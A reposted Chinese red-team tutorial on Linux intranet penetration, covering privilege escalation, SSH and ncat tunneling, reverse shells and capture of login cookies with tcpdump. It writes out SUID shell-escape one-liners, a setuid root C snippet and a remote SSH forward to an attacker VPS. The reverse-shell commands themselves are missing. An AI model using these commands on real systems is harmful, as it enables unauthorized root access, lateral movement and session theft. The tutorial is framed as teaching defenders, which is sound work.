加入收藏 | 设为首页 | 会员中心 | 我要投稿 财气旺网 - 财气网 (https://www.caiqiwang.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 搭建环境 > Linux > 正文

红蓝对抗之Linux内网渗透

发布时间:2022-10-19 13:02:24 所属栏目:Linux 来源:
导读:  上篇(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux
  上篇(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux内网渗透也有很多可玩性。
 
  关注知识星球,获取独享技术干货
 
  在服务器方面,Linux由于开源、稳定、灵活、社区支持等因素,市场占有率远比Windows大,并且广大业务逐步上云使用docker容器等原因,所以Linux渗透攻击也是蓝军极为常见和必备的技能。
 
  本文将以蓝军攻击视角,介绍常用的Linux内网渗透的手法,包括提权、隧道、反弹shell、登录态、云安全和工具化,主要让大家了解内网渗透的手法和危害,以攻促防,希望能给安全建设带来帮助。
 
  提权
 
  Linux不像Windows有那么多的提权EXP,不会动不动就出现各种烂土豆系列,因此Linux提权常常成为一个难点。本章将介绍一些Linux上的提权手法。
 
  2.1 利用内核漏洞进行提权
 
  脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞,恶意用户可以利用条件竞争获取ROOT权限。
 
  这里以写文件的手段来演示下该漏洞利用方法。
 
  本次漏洞环境如下:
  
  根目录下存在test.txt:
  
  普通用户只能查看而不能修改:
  
  利用EXP成功写入文件到只读文件中:
  
  附上该漏洞的POC集合地址:
 
  笔者不太喜欢用此类EXP,包括Window上的溢出类漏洞,因为此类漏洞有可能会导致系统崩掉,对于客户环境、敏感系统还是慎用。
 
  针对此类漏洞有些同学会有如下疑问:
 
  Q:为什么我执行以后会卡死?
 
  A:尝试使用反弹的方式,即交互式/半交互式的方法进行。
 
  2.2 利用文件权限配置不当进行提权
 
  当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。
 
  pspy(附录2)工具提供了普通用户权限即可监听进程信息,该工具原理很简单,循环遍历/proc下的值来获取进程参数信息:
  
  如果我们设置hidepid,该工具就会失效,如:
 
  mount -o remount,rw,hidepid=2 /proc
 
  该工具就什么输出都不会有,或者只有问号:
  
  这里我们使用pspy作为辅助演示(当没设置hidepid时)。
 
  前期准备中,首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。然后当我们获取USER普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:
  
  尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:
  
  我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:
 
  发现成功提权,以ROOT权限启动自定义命令:
  
  2.3 利用SUID程序进行提权
 
  当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。
 
  首先/tmp/test存在如下文件:
 
  正常执行结果如下:
  
  当设置SUID时,执行结果如下:
 
  chmod +s ./test
 
  执行结果依然是当前用户,为何?
 
  这是因为在高版本Linux(附录3)中,如果启动bash的的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。即如果就算有S位,但没有使用-p参数,则最终执行的权限依然是当前用户的权限。
 
  可以使用setuid(附录4)使得bash当前Effective UID和Real UID相同来达到提权效果:
 
  #include
 
  main()
 
  {
 
  setuid(0);
 
  system("whoami > /tmp/test.txt");
 
  }
 
  我们可以使用如下命令来寻找服务器上设置了SUID的应用程序:
 
  find / -perm -u=s -type f 2>/dev/null
 
  下面列举几个常见的设置了SUID的应用程序提权手段。
 
  nmap
 
  nmap --interactive
 
  !sh
 
  find
 
  find . -type f -exec /bin/bash \;
 
  awk
 
  awk 'BEGIN {system("/bin/bash")}'
 
  strace
 
  strace -o/dev/null /bin/bash
 
  隧道
 
  Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。
 
  3.1 SSH
 
  Linux上耳熟能详的就是SSH了,我们来看下SSH常用的开启隧道的命令。
 
  场景a:在控制A机器时,利用socks代理进入A机器所在内网
 
  ssh -qTfnN -D 1111 root@AIP
 
  输入A机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。
 
  场景b:如果控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网linux渗透,A不能访问C
 
  A机器执行:
 
  ssh -CNfg -L 2121:CIP:21 root@BIP
 
  输入BIP机器密码,访问A机器的2121端口即是访问CIP的21端口。
 
  场景c:控制A机器,A能够访问B
 
  A机器执行:
 
  ssh -CNfg -R 2121:BIP:21 root@hackervps
 
  输入黑客VPS密码,访问黑客VPS的2121端口即是访问BIP的21端口。
 
  3.2 nc/ncat
 
  服务端执行监听命令:
 
  ncat --sh-exec "ncat 127.0.0.1 22" -l 80 --keep-open
 
  客户端连接服务端的80端口即可SSH连接:
 
  SSH root@serverip -p 80
 
  3.3 portmap
 
  服务端执行:
 
  portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22
 
  客户端连接服务端的80端口即可SSH连接:
 
  SSH root@serverip -p 80
 
  3.4 portfw
 
  服务端执行:
 
  tcpfwd 0.0.0.0:443 127.0.0.1:22
 
  客户端连接服务端的443端口即可SSH连接:
 
  SSH root@serverip -p 443
 
  反弹shell
 
  Linux上也存在一些自带命令/工具,来进行反弹shell得到一个(非)交互式shell。
 
  下述命令中的yourip为攻击者监听的ip;yourport为攻击者监听的端口。
 
  4.1 bash
 
  4.2 netcat
 
  4.3 php
  
  4.4 perl
  
  4.5 python
  
  4.6 ruby
 
  4.7 telnet
 
  4.8 openssl 加密
 
  服务端生成证书:
  
  服务端监听:
  
  4.9 完全交互式shell
 
  attack端执行:
 
  victim端执行:
 
  现在ctrl+c也不会退出:
 
  登录态
 
  现在越来越多的系统接入SSO、零信任,用户友好度提升了,但是也伴随了大量风险,比如如果单点故障了怎么办。其他安全风险呢?如果我们拿下其中一台可信服务器的权限,是否也伴随着未做隔离的站点也沦为了能快速拿权限的攻击目标?
 
  5.1 tcpdump
 
  tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户的登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点。
 

(编辑:财气旺网 - 财气网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!